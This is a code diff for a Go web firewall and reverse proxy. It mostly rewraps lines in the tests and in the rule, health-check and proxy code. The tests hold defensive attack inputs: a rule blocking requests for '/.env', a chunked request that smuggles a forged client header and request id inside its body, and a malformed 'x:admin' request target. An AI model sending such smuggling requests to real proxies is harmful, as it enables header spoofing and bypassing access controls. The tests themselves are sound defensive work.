 			app := startApp(t, func(http.ResponseWriter, *http.Request) {
 				t.Error("the app was asked")
 			})
-			addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
+			addr, out := startRProxy(
-				timeoutSetting:     "60000",
+				t,
-				defaultDisposition: disposition,
+				standIn.URL,
-			})
+				app.URL,
+				map[string]string{
+					timeoutSetting:     "60000",
+					defaultDisposition: disposition,
+				},
+			)
 
 			conn := dial(t, addr)
 			send(t, conn, "GET / HTTP/1.1\r\nHost: site.example\r\n\r\n")
@@ -1430,12 +1556,21 @@ func TestReportGivesWhatHappened(t *testing.T) {
 		report.ResponseBytes != int64(len(greeting)) ||
 		report.DurationTotalMS <= 0 || report.DurationUpstreamTotalMS <= 0 ||
 		report.DurationUpstreamTotalMS > report.DurationTotalMS {
-		t.Errorf("report %+v, of %d bytes up and %d back", report, len(body), len(greeting))
+		t.Errorf(
+			"report %+v, of %d bytes up and %d back",
+			report,
+			len(body),
+			len(greeting),
+		)
 	}
 
 	line := out.requestLine(t)
 	if line["request_id"] != report.RequestID {
-		t.Errorf("line %v, report %+v, want the same request id", line, report)
+		t.Errorf(
+			"line %v, report %+v, want the same request id",
+			line,
+			report,
+		)
 	}
 }
 
@@ -1464,9 +1599,14 @@ func TestWaitForReportsWaitsForAReportBeingSent(t *testing.T) {
 	t.Cleanup(backend.Close)
 
 	app := startApp(t, greet)
-	addr, _, server := startServer(t, backend.URL, app.URL, map[string]string{
+	addr, _, server := startServer(
-		timeoutSetting: "5000",
+		t,
-	})
+		backend.URL,
+		app.URL,
+		map[string]string{
+			timeoutSetting: "5000",
+		},
+	)
 
 	wantGreeting(t, get(t, addr, "/"))
 
@@ -1522,7 +1662,11 @@ func TestReportOfAWebSocketCountsWhatItCarried(t *testing.T) {
 	_ = res.Body.Close()
 
 	if res.StatusCode != http.StatusSwitchingProtocols {
-		t.Fatalf("status %d, want %d", res.StatusCode, http.StatusSwitchingProtocols)
+		t.Fatalf(
+			"status %d, want %d",
+			res.StatusCode,
+			http.StatusSwitchingProtocols,
+		)
 	}
 
 	// Past both time limits, the connection still carries what is sent.
@@ -1546,7 +1690,9 @@ func TestReportOfAWebSocketCountsWhatItCarried(t *testing.T) {
 		t.Errorf("report %+v, of %d bytes each way", report, len(message))
 	}
 
-	if line := out.requestLine(t); line["status"] != float64(res.StatusCode) {
+	if line := out.requestLine(t); line["status"] != float64(
+		res.StatusCode,
+	) {
 		t.Errorf("line %v, want status 101", line)
 	}
 }
@@ -1701,7 +1847,8 @@ func TestEachRequestGetsAFreshID(t *testing.T) {
 		ids = append(ids, standIn.question(t).header.Get(requestIDHeader))
 	}
 
-	if slices.Contains(ids, fromTraefik) || ids[0] == "" || ids[0] == ids[1] {
+	if slices.Contains(ids, fromTraefik) || ids[0] == "" ||
+		ids[0] == ids[1] {
 		t.Errorf("ids %v, want two fresh ones", ids)
 	}
 }
@@ -1719,7 +1866,13 @@ func TestLogLineGivesTheRequestAsSent(t *testing.T) {
 	app := startApp(t, greet)
 	addr, out := startRProxy(t, standIn.URL, app.URL, nil)
 
-	req := newRequest(t, http.MethodPost, addr, path+"?"+query, strings.NewReader(body))
+	req := newRequest(
+		t,
+		http.MethodPost,
+		addr,
+		path+"?"+query,
+		strings.NewReader(body),
+	)
 	req.Host = site
 	wantGreeting(t, visit(t, req))
 
@@ -1745,7 +1898,10 @@ func TestLogLineGivesTheRequestAsSent(t *testing.T) {
 	}
 
 	if line["default_disposition"] != nil {
-		t.Errorf("default_disposition is %v, want it left out", line["default_disposition"])
+		t.Errorf(
+			"default_disposition is %v, want it left out",
+			line["default_disposition"],
+		)
 	}
 
 	for _, name := range []string{"duration_request_ms", "duration_response_ms"} {

internal/rproxy/waf.go

@@ -23,7 +23,9 @@ const answerBodyMaxBytes = 1 << 20
 const reportAnswerMaxBytes = 4 << 10
 
 var (
-	errCannotPassOn  = errors.New("the answer cannot be passed to the visitor")
+	errCannotPassOn = errors.New(
+		"the answer cannot be passed to the visitor",
+	)
 	errReportRefused = errors.New("the report was answered")
 )
 
@@ -108,7 +110,11 @@ func (rq *request) ask(ctx context.Context) (*wafAnswer, error) {
 	// a read of that. Go's client also takes a status below 100, which Go's server
 	// panics when asked to send.
 	if res.StatusCode < http.StatusOK {
-		return nil, fmt.Errorf("%w: its status is %d", errCannotPassOn, res.StatusCode)
+		return nil, fmt.Errorf(
+			"%w: its status is %d",
+			errCannotPassOn,
+			res.StatusCode,
+		)
 	}
 
 	body, err := io.ReadAll(io.LimitReader(res.Body, answerBodyMaxBytes+1))
@@ -133,10 +139,14 @@ func (rq *request) ask(ctx context.Context) (*wafAnswer, error) {
 //     waf.
 func canBeAsked(r *http.Request) bool {
 	target, host := r.RequestURI, r.Host
-	hostHasZone := strings.HasPrefix(host, "[") && strings.Contains(host, "%")
+	hostHasZone := strings.HasPrefix(host, "[") &&
+		strings.Contains(host, "%")
 
-	return strings.HasPrefix(target, "/") && !strings.HasPrefix(target, "//") &&
+	return strings.HasPrefix(target, "/") &&
-		host != "" && !hostHasZone && len(r.Header.Values("User-Agent")) <= 1
+		!strings.HasPrefix(target, "//") &&
+		host != "" &&
+		!hostHasZone &&
+		len(r.Header.Values("User-Agent")) <= 1
 }
 
 // newQuestion returns the question about the request, as "The question" in
@@ -151,7 +161,11 @@ func (rq *request) newQuestion(ctx context.Context) (*http.Request, error) {
 	}
 
 	question, err := http.NewRequestWithContext( //nolint:gosec // a setting's URL
-		ctx, in.Method, rq.h.config.WAFBackend.String(), bytes.NewReader(held))
+		ctx,
+		in.Method,
+		rq.h.config.WAFBackend.String(),
+		bytes.NewReader(held),
+	)
 	if err != nil {
 		return nil, fmt.Errorf("make the question: %w", err)
 	}
@@ -254,7 +268,10 @@ func (h *handler) postReport(ctx context.Context, report *waf.Report) error {
 	// The body of a 101 is the connection itself, and the time limit does not end
 	// a read of that.
 	if res.StatusCode >= http.StatusOK {
-		_, _ = io.Copy(io.Discard, io.LimitReader(res.Body, reportAnswerMaxBytes))
+		_, _ = io.Copy(
+			io.Discard,
+			io.LimitReader(res.Body, reportAnswerMaxBytes),
+		)
 	}
 
 	_ = res.Body.Close()

internal/rules/rules.go

@@ -63,7 +63,9 @@ const escapeLength = 3
 var (
 	// ruleLine is a rule: four fields separated by spaces or tabs, of
 	// which the fourth, the regex, runs to the end of the line.
-	ruleLine = regexp.MustCompile(`^([^ \t]+)[ \t]+([^ \t]+)[ \t]+([^ \t]+)[ \t]+(.+)$`)
+	ruleLine = regexp.MustCompile(
+		`^([^ \t]+)[ \t]+([^ \t]+)[ \t]+([^ \t]+)[ \t]+(.+)$`,
+	)
 	// idChars are the characters of a rule's id.
 	idChars = regexp.MustCompile(`^[A-Za-z0-9_-]+$`)
 )
@@ -74,7 +76,8 @@ var (
 			"separated by spaces or tabs")
 	errNotID     = errors.New("is not an id of letters, digits, - and _")
 	errNotTarget = errors.New(
-		"is not path, query, uri, method, host, user_agent, referer or header:<Name>")
+		"is not path, query, uri, method, host, user_agent, referer or header:<Name>",
+	)
 	errNotHeaderName = errors.New(
 		"has a character after header: that no header name can have")
 	errHeaderTakenOut = errors.New(
@@ -281,7 +284,8 @@ func read(dir string) ([]Rule, string, error) {
 
 	for _, entry := range entries {
 		name := entry.Name()
-		if entry.IsDir() || strings.HasPrefix(name, ".") || filepath.Ext(name) != extension {
+		if entry.IsDir() || strings.HasPrefix(name, ".") ||
+			filepath.Ext(name) != extension {
 			continue
 		}
 
@@ -298,8 +302,13 @@ func read(dir string) ([]Rule, string, error) {
 
 // readFile appends the rules of the rule file at path to rules. places
 // are where each id read so far is, and gain those of the file.
-func readFile(path string, rules []Rule, places map[string]string) ([]Rule, error) {
+func readFile(
-	data, err := os.ReadFile(path) //nolint:gosec // a rule file, in SWW_RULES_DIR
+	path string,
+	rules []Rule,
+	places map[string]string,
+) ([]Rule, error) {
+	//nolint:gosec // a rule file, in SWW_RULES_DIR
+	data, err := os.ReadFile(path)
 	if err != nil {
 		return nil, err
 	}
@@ -323,7 +332,13 @@ func readFile(path string, rules []Rule, places map[string]string) ([]Rule, erro
 
 		first, used := places[rule.ID]
 		if used {
-			return nil, fmt.Errorf("%s: the id %q %w %s", place, rule.ID, errUsedTwice, first)
+			return nil, fmt.Errorf(
+				"%s: the id %q %w %s",
+				place,
+				rule.ID,
+				errUsedTwice,
+				first,
+			)
 		}
 
 		places[rule.ID] = place
@@ -355,22 +370,42 @@ func parse(line string) (Rule, bool, error) {
 	case !idChars.MatchString(rule.ID):
 		return Rule{}, false, fmt.Errorf("the id %q %w", rule.ID, errNotID)
 	case !isTarget(rule.Target):
-		return Rule{}, false, fmt.Errorf("the target %q %w", rule.Target, errNotTarget)
+		return Rule{}, false, fmt.Errorf(
+			"the target %q %w",
+			rule.Target,
+			errNotTarget,
+		)
 	case isHeader && !config.IsHeaderName(headerName):
-		return Rule{}, false, fmt.Errorf("the target %q %w", rule.Target, errNotHeaderName)
+		return Rule{}, false, fmt.Errorf(
+			"the target %q %w",
+			rule.Target,
+			errNotHeaderName,
+		)
 	case strings.EqualFold(rule.Target, headerTarget+"Host"):
 		return Rule{}, false, fmt.Errorf(
 			"the target %q %w; the request's host is the target host",
 			rule.Target, errHeaderTakenOut)
 	case strings.EqualFold(rule.Target, headerTarget+"Transfer-Encoding"):
-		return Rule{}, false, fmt.Errorf("the target %q %w", rule.Target, errHeaderTakenOut)
+		return Rule{}, false, fmt.Errorf(
+			"the target %q %w",
+			rule.Target,
+			errHeaderTakenOut,
+		)
 	case !slices.Contains([]string{ActionLog, ActionBlock, ActionBan}, rule.Action):
-		return Rule{}, false, fmt.Errorf("the action %q %w", rule.Action, errNotAction)
+		return Rule{}, false, fmt.Errorf(
+			"the action %q %w",
+			rule.Action,
+			errNotAction,
+		)
 	}
 
 	regex, err := regexp.Compile(fields[4])
 	if err != nil {
-		return Rule{}, false, fmt.Errorf("the regex %w: %w", errNotRegex, err)
+		return Rule{}, false, fmt.Errorf(
+			"the regex %w: %w",
+			errNotRegex,
+			err,
+		)
 	}
 
 	rule.regex = regex
@@ -381,7 +416,13 @@ func parse(line string) (Rule, bool, error) {
 // isTarget reports whether target is one a rule may have.
 func isTarget(target string) bool {
 	switch target {
-	case pathTarget, "query", uriTarget, "method", "host", "user_agent", "referer":
+	case pathTarget,
+		"query",
+		uriTarget,
+		"method",
+		"host",
+		"user_agent",
+		"referer":
 		return true
 	}
 
@@ -397,7 +438,8 @@ func (rule Rule) matches(r *http.Request) bool {
 	target := value(rule.Target, r)
 
 	if rule.Target == pathTarget || rule.Target == uriTarget {
-		return rule.regex.MatchString(target) || rule.regex.MatchString(DecodeOnce(target))
+		return rule.regex.MatchString(target) ||
+			rule.regex.MatchString(DecodeOnce(target))
 	}
 
 	return rule.regex.MatchString(target)

internal/rules/rules_test.go

@@ -94,7 +94,13 @@ func TestEachTargetMatchesWhatItNames(t *testing.T) {
 
 			got := len(files.Match(r)) == 1
 			if got != tc.want {
-				t.Errorf("%s matches %s: %t, want %t", tc.rule, tc.uri, got, tc.want)
+				t.Errorf(
+					"%s matches %s: %t, want %t",
+					tc.rule,
+					tc.uri,
+					got,
+					tc.want,
+				)
 			}
 		})
 	}
@@ -123,7 +129,12 @@ func TestPathMatchedAsTheClientSentIt(t *testing.T) {
 		for _, target := range []string{
 			tc.sent, "http://app.example" + tc.sent, "http:" + tc.sent, "foo:" + tc.sent,
 		} {
-			r := httptest.NewRequestWithContext(t.Context(), http.MethodGet, target, nil)
+			r := httptest.NewRequestWithContext(
+				t.Context(),
+				http.MethodGet,
+				target,
+				nil,
+			)
 			wantMatched(t, files, r, "as-sent")
 		}
 	}
@@ -146,14 +157,20 @@ after          path  log    ^/
 	wantMatched(t, files, get(t, "/page"), "every-path", "after")
 
 	// A ban rule ends it too.
-	files = load(t, ruleFiles{testFile: "ban path ban ^/\nlater path block ^/\n"})
+	files = load(
+		t,
+		ruleFiles{testFile: "ban path ban ^/\nlater path block ^/\n"},
+	)
 	wantMatched(t, files, get(t, "/"), "ban")
 }
 
 func TestSpacesAndTabsEndingALineAreNotPartOfItsRegex(t *testing.T) {
 	t.Parallel()
 
-	files := load(t, ruleFiles{testFile: "env-file path block ^/\\.env$ \t \n"})
+	files := load(
+		t,
+		ruleFiles{testFile: "env-file path block ^/\\.env$ \t \n"},
+	)
 
 	wantMatched(t, files, get(t, "/.env"), "env-file")
 }
@@ -184,7 +201,10 @@ func TestFileWhoseNameStartsWithADotIsNotARuleFile(t *testing.T) {
 
 	// The lock file Emacs makes beside a file while it is edited: a link to
 	// nothing, which cannot be read.
-	err := os.Symlink("user@host.1234:1700000000", filepath.Join(dir, ".#"+firstFile))
+	err := os.Symlink(
+		"user@host.1234:1700000000",
+		filepath.Join(dir, ".#"+firstFile),
+	)
 	if err != nil {
 		t.Fatalf("symlink: %v", err)
 	}
@@ -276,7 +296,8 @@ func TestFaultStopsTheStartNamingTheFileAndLine(t *testing.T) {
 			dir := writeFiles(t, ruleFiles{"00-default.rules": tc.content})
 			path := filepath.Join(dir, "00-default.rules")
 
-			wantRefused(t, dir, path+", line "+strconv.Itoa(tc.line)+": "+tc.want)
+			want := path + ", line " + strconv.Itoa(tc.line) + ": " + tc.want
+			wantRefused(t, dir, want)
 		})
 	}
 }
@@ -289,8 +310,12 @@ func TestIDUsedTwiceStopsTheStartNamingBothPlaces(t *testing.T) {
 		"50-b.rules": "other path log ^/b\nprobe path ban ^/c\n",
 	})
 
-	wantRefused(t, dir, filepath.Join(dir, "50-b.rules")+`, line 2: the id "probe" `+
+	wantRefused(
-		"is already the id of the rule at "+filepath.Join(dir, "00-a.rules")+", line 1")
+		t,
+		dir,
+		filepath.Join(dir, "50-b.rules")+`, line 2: the id "probe" `+
+			"is already the id of the rule at "+filepath.Join(dir, "00-a.rules")+", line 1",
+	)
 }
 
 func TestDirectoryThatDoesNotExistStopsTheStart(t *testing.T) {
@@ -305,7 +330,9 @@ func TestDirectoryThatDoesNotExistStopsTheStart(t *testing.T) {
 func TestEmptyDirectoryLoadsNoRulesAndSaysSo(t *testing.T) {
 	t.Parallel()
 
-	params, lines := newParams(writeFiles(t, ruleFiles{"00-default.rules": "# none\n"}))
+	params, lines := newParams(
+		writeFiles(t, ruleFiles{"00-default.rules": "# none\n"}),
+	)
 
 	files, err := rules.Load(params)
 	if err != nil {
@@ -314,7 +341,11 @@ func TestEmptyDirectoryLoadsNoRulesAndSaysSo(t *testing.T) {
 
 	line := lines.waitFor(t, read)
 	if files.Len() != 0 || line["rules"] != 0.0 {
-		t.Errorf("%d rules loaded, and the log says %v, want none", files.Len(), line)
+		t.Errorf(
+			"%d rules loaded, and the log says %v, want none",
+			files.Len(),
+			line,
+		)
 	}
 }
 
@@ -375,7 +406,12 @@ func TestBrokenEditKeepsTheRulesAsTheyWere(t *testing.T) {
 
 	// The edit's second line has an unknown action, so the rules stay as
 	// they were, the first line's earlier version included.
-	save(t, dir, firstFile, "first path block ^/edited\nsecond path bann ^/second\n")
+	save(
+		t,
+		dir,
+		firstFile,
+		"first path block ^/edited\nsecond path bann ^/second\n",
+	)
 
 	line := lines.waitFor(t, hasError)
 	want := filepath.Join(dir, firstFile) +
@@ -393,7 +429,11 @@ func TestBrokenEditKeepsTheRulesAsTheyWere(t *testing.T) {
 		if len(waiting) != 1 || waiting[0].Event != alerts.EventFileError ||
 			waiting[0].Reason != hasError || waiting[0].Detail["error"] != want ||
 			waiting[0].Detail["file"] != filepath.Join(dir, firstFile) {
-			t.Errorf("alerts waiting %+v, want one file_error alert for %q", waiting, want)
+			t.Errorf(
+				"alerts waiting %+v, want one file_error alert for %q",
+				waiting,
+				want,
+			)
 		}
 	}
 	wantFileError()
@@ -402,8 +442,16 @@ func TestBrokenEditKeepsTheRulesAsTheyWere(t *testing.T) {
 	wantMatched(t, files, get(t, "/second"))
 
 	// Once mended, the file is read again, and raises no alert.
-	save(t, dir, firstFile, "first path block ^/edited\nsecond path ban ^/second\n")
+	save(
-	lines.waitUntil(t, func() bool { return len(files.Match(get(t, "/second"))) == 1 })
+		t,
+		dir,
+		firstFile,
+		"first path block ^/edited\nsecond path ban ^/second\n",
+	)
+	lines.waitUntil(
+		t,
+		func() bool { return len(files.Match(get(t, "/second"))) == 1 },
+	)
 	wantMatched(t, files, get(t, "/edited"), "first")
 	wantFileError()
 }
@@ -559,7 +607,10 @@ func load(t *testing.T, files ruleFiles) *rules.Files {
 // watch loads the rules in dir, runs their Watch until the test ends, and
 // waits until it watches the directory. It returns the alerts' queue as
 // well.
-func watch(t *testing.T, dir string) (*rules.Files, processLog, *alerts.Queue) {
+func watch(
+	t *testing.T,
+	dir string,
+) (*rules.Files, processLog, *alerts.Queue) {
 	t.Helper()
 
 	params, lines := newParams(dir)
@@ -611,21 +662,31 @@ func get(t *testing.T, target string) *http.Request {
 
 // wantRefusedBy checks that a GET request for target with the user agent
 // sent matches rule alone, and that rule refuses it.
-func wantRefusedBy(t *testing.T, files *rules.Files, target, sent, rule string) {
+func wantRefusedBy(
+	t *testing.T,
+	files *rules.Files,
+	target, sent, rule string,
+) {
 	t.Helper()
 
 	r := get(t, target)
 	r.Header.Set(userAgent, sent)
 
 	matched := files.Match(r)
-	if len(matched) != 1 || matched[0].ID != rule || matched[0].Action == rules.ActionLog {
+	if len(matched) != 1 || matched[0].ID != rule ||
+		matched[0].Action == rules.ActionLog {
 		t.Errorf("%s from %q matched %v, want %s alone, refusing it", target,
 			sent, ids(matched), rule)
 	}
 }
 
 // wantMatched checks the ids of the rules r matches, in order.
-func wantMatched(t *testing.T, files *rules.Files, r *http.Request, want ...string) {
+func wantMatched(
+	t *testing.T,
+	files *rules.Files,
+	r *http.Request,
+	want ...string,
+) {
 	t.Helper()
 
 	got := ids(files.Match(r))

internal/sww/healthcheck.go

@@ -31,7 +31,9 @@ var errHealthEndpoint = errors.New("the health endpoint answered")
 // args are the arguments after `healthcheck`; it takes none, and given
 // one it names it on stderr and returns 1 without checking anything.
 func HealthCheck(
-	ctx context.Context, args []string, lookupEnv func(string) (string, bool),
+	ctx context.Context,
+	args []string,
+	lookupEnv func(string) (string, bool),
 	stderr io.Writer,
 ) int {
 	if len(args) > 0 {
@@ -85,7 +87,9 @@ func checkWAF(
 func checkRProxyAndApp(
 	ctx context.Context, lookupEnv func(string) (string, bool),
 ) error {
-	listenAddr, upstreamURL, err := config.RProxyListenAddrAndUpstreamURL(lookupEnv)
+	listenAddr, upstreamURL, err := config.RProxyListenAddrAndUpstreamURL(
+		lookupEnv,
+	)
 	if err != nil {
 		return fmt.Errorf("invalid setting: %w", err)
 	}
@@ -95,7 +99,11 @@ func checkRProxyAndApp(
 		return fmt.Errorf("ask rproxy: %w", err)
 	}
 
-	conn, err := (&net.Dialer{}).DialContext(ctx, "tcp", appAddress(upstreamURL))
+	conn, err := (&net.Dialer{}).DialContext(
+		ctx,
+		"tcp",
+		appAddress(upstreamURL),
+	)
 	if err != nil {
 		return fmt.Errorf("connect to the app: %w", err)
 	}
@@ -109,9 +117,17 @@ func checkRProxyAndApp(
 // listenAddr, which the settings have checked has one.
 func askHealthEndpoint(ctx context.Context, listenAddr string) error {
 	_, port, _ := net.SplitHostPort(listenAddr)
-	health := "http://" + net.JoinHostPort("127.0.0.1", port) + waf.HealthPath
+	health := "http://" + net.JoinHostPort(
+		"127.0.0.1",
+		port,
+	) + waf.HealthPath
 
-	req, err := http.NewRequestWithContext(ctx, http.MethodGet, health, http.NoBody)
+	req, err := http.NewRequestWithContext(
+		ctx,
+		http.MethodGet,
+		health,
+		http.NoBody,
+	)
 	if err != nil {
 		return fmt.Errorf("make the request: %w", err)
 	}

internal/sww/healthcheck_test.go

@@ -41,7 +41,7 @@ func TestHealthCheckInWAFsContainer(t *testing.T) {
 		exited <- run(ctx, settings, out)
 	}()
 
-	addr, _ := out.line(t, "msg", "starting")["address"].(string)
+	addr, _ := out.lineBeforeExit(t, "starting", exited)["address"].(string)
 	_, port, _ := net.SplitHostPort(addr)
 
 	// The container's settings: an address to listen on with an empty
@@ -94,7 +94,10 @@ func TestHealthCheckInRProxysContainer(t *testing.T) {
 	site, _ := startRProxy(t, "http://127.0.0.1:9", app.URL)
 	_, port, _ := net.SplitHostPort(strings.TrimPrefix(site, "http://"))
 	settings := func(more ...string) map[string]string {
-		env := map[string]string{rproxyListenAddr: ":" + port, rproxyUpstreamURL: app.URL}
+		env := map[string]string{
+			rproxyListenAddr:  ":" + port,
+			rproxyUpstreamURL: app.URL,
+		}
 		for i := 0; i < len(more); i += 2 {
 			env[more[i]] = more[i+1]
 		}
@@ -107,8 +110,12 @@ func TestHealthCheckInRProxysContainer(t *testing.T) {
 	wantHealthCheck(t, settings(commandSetting, "rproxy"), 0, "")
 
 	// SWW_COMMAND cannot be given as a file.
-	wantHealthCheck(t, settings(commandSetting+"_FILE", writeFile(t, "waf\n")),
+	wantHealthCheck(
-		0, "")
+		t,
+		settings(commandSetting+"_FILE", writeFile(t, "waf\n")),
+		0,
+		"",
+	)
 
 	// Another setting does not fail it, even an invalid one, and neither does
 	// SWRP_WAF_BACKEND being unset.
@@ -121,7 +128,12 @@ func TestHealthCheckInRProxysContainer(t *testing.T) {
 
 	// Listening on port 0 takes any free port, so nothing listens on port 0
 	// itself.
-	wantHealthCheck(t, settings(rproxyListenAddr, ":0"), 1, "unhealthy: ask rproxy: ")
+	wantHealthCheck(
+		t,
+		settings(rproxyListenAddr, ":0"),
+		1,
+		"unhealthy: ask rproxy: ",
+	)
 	wantHealthCheck(t, settings(rproxyListenAddr, "8080"), 1,
 		"unhealthy: invalid setting: SWRP_LISTEN_ADDR: ")
 
@@ -161,16 +173,26 @@ func TestHealthCheckRefusesAnArgument(t *testing.T) {
 // wantHealthCheck runs the health check with the settings in env, and
 // checks its exit status and the start of what it writes to stderr,
 // which is nothing when message is empty.
-func wantHealthCheck(t *testing.T, env map[string]string, status int, message string) {
+func wantHealthCheck(
+	t *testing.T,
+	env map[string]string,
+	status int,
+	message string,
+) {
 	t.Helper()
 
 	var stderr bytes.Buffer
 
-	got := sww.HealthCheck(t.Context(), nil, func(name string) (string, bool) {
+	got := sww.HealthCheck(
-		value, ok := env[name]
+		t.Context(),
+		nil,
+		func(name string) (string, bool) {
+			value, ok := env[name]
 
-		return value, ok
+			return value, ok
-	}, &stderr)
+		},
+		&stderr,
+	)
 
 	wrote := stderr.String()
 	if got != status || !strings.HasPrefix(wrote, message) ||

internal/sww/rproxy.go

@@ -21,7 +21,11 @@ import (
 // more severe: rproxy has no setting for either.
 func RunRProxy(ctx context.Context, params Params) int {
 	hostname, _ := os.Hostname() // "" when the host has no name to give
-	processLog := requestlog.NewProcessLogger(params.Stdout, hostname, slog.LevelInfo)
+	processLog := requestlog.NewProcessLogger(
+		params.Stdout,
+		hostname,
+		slog.LevelInfo,
+	)
 
 	cfg, err := config.RProxyFromEnvironment(params.LookupEnv)
 	if err != nil {
@@ -38,7 +42,11 @@ func RunRProxy(ctx context.Context, params Params) int {
 
 	listener, err := (&net.ListenConfig{}).Listen(ctx, "tcp", cfg.ListenAddr)
 	if err != nil {
-		processLog.Error("cannot listen on SWRP_LISTEN_ADDR", "error", err.Error())
+		processLog.Error(
+			"cannot listen on SWRP_LISTEN_ADDR",
+			"error",
+			err.Error(),
+		)
 
 		return 1
 	}

internal/sww/rproxy_test.go

@@ -71,13 +71,19 @@ func startRProxy(t *testing.T, backend, appURL string) (string, *output) {
 		}, out)
 	}()
 
+	addr, _ := out.lineBeforeExit(t, "starting", exited)["address"].(string)
+
 	t.Cleanup(func() {
 		stop()
 
 		select {
 		case status := <-exited:
 			if status != 0 {
-				t.Errorf("rproxy's exit status %d, want 0; output:\n%s", status, out.text())
+				t.Errorf(
+					"rproxy's exit status %d, want 0; output:\n%s",
+					status,
+					out.text(),
+				)
 			}
 		case <-time.After(waitLimit):
 			t.Error("rproxy still running after being told to stop")
@@ -86,15 +92,16 @@ func startRProxy(t *testing.T, backend, appURL string) (string, *output) {
 		out.line(t, "msg", "stopped")
 	})
 
-	addr, _ := out.line(t, "msg", "starting")["address"].(string)
-
 	return "http://" + addr, out
 }
 
 // startWAF runs waf with the settings in env, and returns
 // its address and URL, what it writes, and what stops it, which checks that it
 // stopped in order.
-func startWAF(t *testing.T, env map[string]string) (string, *output, func()) {
+func startWAF(
+	t *testing.T,
+	env map[string]string,
+) (string, *output, func()) {
 	t.Helper()
 
 	ctx, stop := context.WithCancel(t.Context())
@@ -105,7 +112,7 @@ func startWAF(t *testing.T, env map[string]string) (string, *output, func()) {
 		exited <- run(ctx, env, out)
 	}()
 
-	addr, _ := out.line(t, "msg", "starting")["address"].(string)
+	addr, _ := out.lineBeforeExit(t, "starting", exited)["address"].(string)
 
 	return addr, out, func() {
 		stop()
@@ -113,7 +120,11 @@ func startWAF(t *testing.T, env map[string]string) (string, *output, func()) {
 		select {
 		case status := <-exited:
 			if status != 0 {
-				t.Fatalf("waf's exit status %d, want 0; output:\n%s", status, out.text())
+				t.Fatalf(
+					"waf's exit status %d, want 0; output:\n%s",
+					status,
+					out.text(),
+				)
 			}
 		case <-time.After(waitLimit):
 			t.Fatal("waf still running after being told to stop")
@@ -341,7 +352,12 @@ func pipe(dst, src net.Conn) {
 // answersNormally reports whether a request to url from the client at from, as
 // X-Forwarded-For names it, gets the app's answer.
 func answersNormally(ctx context.Context, url, from string) bool {
-	req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, http.NoBody)
+	req, err := http.NewRequestWithContext(
+		ctx,
+		http.MethodGet,
+		url,
+		http.NoBody,
+	)
 	if err != nil {
 		return false
 	}
@@ -359,7 +375,8 @@ func answersNormally(ctx context.Context, url, from string) bool {
 	body, err := io.ReadAll(res.Body)
 	_ = res.Body.Close()
 
-	return err == nil && res.StatusCode == http.StatusOK && string(body) == greeting
+	return err == nil && res.StatusCode == http.StatusOK &&
+		string(body) == greeting
 }
 
 // sendRaw sends request, as it is, to rproxy at site, and returns the status of
@@ -412,9 +429,16 @@ func TestAChunkedBodyStaysABodyAtWAF(t *testing.T) {
 		waf.ClientHeader + ": " + otherClient + "\r\n" +
 		"X-Request-ID: " + smuggledID + "\r\n\r\n"
 
-	status := sendRaw(t, site, "POST /upload HTTP/1.1\r\nHost: site.example\r\n"+
+	status := sendRaw(
-		"X-Forwarded-For: "+placed+"\r\nTransfer-Encoding: chunked\r\n\r\n"+
+		t,
-		strconv.FormatInt(int64(len(smuggled)), 16)+"\r\n"+smuggled+"\r\n0\r\n\r\n")
+		site,
+		"POST /upload HTTP/1.1\r\nHost: site.example\r\n"+
+			"X-Forwarded-For: "+placed+"\r\nTransfer-Encoding: chunked\r\n\r\n"+
+			strconv.FormatInt(
+				int64(len(smuggled)),
+				16,
+			)+"\r\n"+smuggled+"\r\n0\r\n\r\n",
+	)
 	if status != http.StatusOK {
 		t.Errorf("status %d, want the app's 200", status)
 	}
@@ -443,8 +467,12 @@ func TestATargetThatCannotGoToWAFIsRefusedForABannedClient(t *testing.T) {
 
 	wantStatus(t, site+bannedProbe, placed, http.StatusForbidden)
 
-	status := sendRaw(t, site, "GET x:admin HTTP/1.1\r\nHost: site.example\r\n"+
+	status := sendRaw(
-		"X-Forwarded-For: "+placed+"\r\n\r\n")
+		t,
+		site,
+		"GET x:admin HTTP/1.1\r\nHost: site.example\r\n"+
+			"X-Forwarded-For: "+placed+"\r\n\r\n",
+	)
 	if status != http.StatusBadRequest {
 		t.Errorf("status %d, want 400", status)
 	}
@@ -470,7 +498,8 @@ func TestAClientWithAZoneIsTheClientWithout(t *testing.T) {
 	wantStatus(t, site+"/", "2001:db8::1", http.StatusForbidden)
 
 	line := out.line(t, "path", bannedProbe)
-	if line["client_ip"] != "2001:db8::1" || line["default_disposition"] != nil {
+	if line["client_ip"] != "2001:db8::1" ||
+		line["default_disposition"] != nil {
 		t.Errorf("rproxy's line is %v", line)
 	}
 }
@@ -495,7 +524,10 @@ func TestAStatusWAFDoesNotTakeIsReportedAs599(t *testing.T) {
 
 	line := out.line(t, "path", "/")
 	if line["status"] != float64(status) {
-		t.Errorf("rproxy's line is %v, want the status the visitor got", line)
+		t.Errorf(
+			"rproxy's line is %v, want the status the visitor got",
+			line,
+		)
 	}
 
 	id, _ := line["request_id"].(string)
@@ -507,9 +539,10 @@ func TestAStatusWAFDoesNotTakeIsReportedAs599(t *testing.T) {
 }
 
 // startRProxyProcess runs `sww rproxy` in a process of its own, with the
-// settings in env, each as NAME=value. It returns where rproxy listens, the
+// settings in env, each as NAME=value. It returns where rproxy listens and a
-// process, and what rproxy writes.
+// function that sends rproxy SIGTERM and fails the test unless it exits with
-func startRProxyProcess(t *testing.T, env ...string) (string, *exec.Cmd, *output) {
+// status 0 within waitLimit.
+func startRProxyProcess(t *testing.T, env ...string) (string, func()) {
 	t.Helper()
 
 	binary, err := os.Executable()
@@ -517,11 +550,9 @@ func startRProxyProcess(t *testing.T, env ...string) (string, *exec.Cmd, *output
 		t.Fatalf("find the test binary: %v", err)
 	}
 
-	ctx, cancel := context.WithTimeout(t.Context(), 3*waitLimit)
-	t.Cleanup(cancel)
-
 	out := &output{}
-	cmd := exec.CommandContext(ctx, binary) //nolint:gosec // this test binary
+	//nolint:gosec // this test binary
+	cmd := exec.CommandContext(t.Context(), binary)
 	cmd.Stdout = out
 
 	cmd.Env = append(os.Environ(),
@@ -529,19 +560,29 @@ func startRProxyProcess(t *testing.T, env ...string) (string, *exec.Cmd, *output
 		"SWRP_LISTEN_ADDR="+localhost+":0")
 	cmd.Env = append(cmd.Env, env...)
 
-	err = cmd.Start()
+	exited := startProcess(t, cmd)
-	if err != nil {
+
-		t.Fatalf("start: %v", err)
+	addr, _ := out.lineBeforeExit(t, "starting", exited)["address"].(string)
+
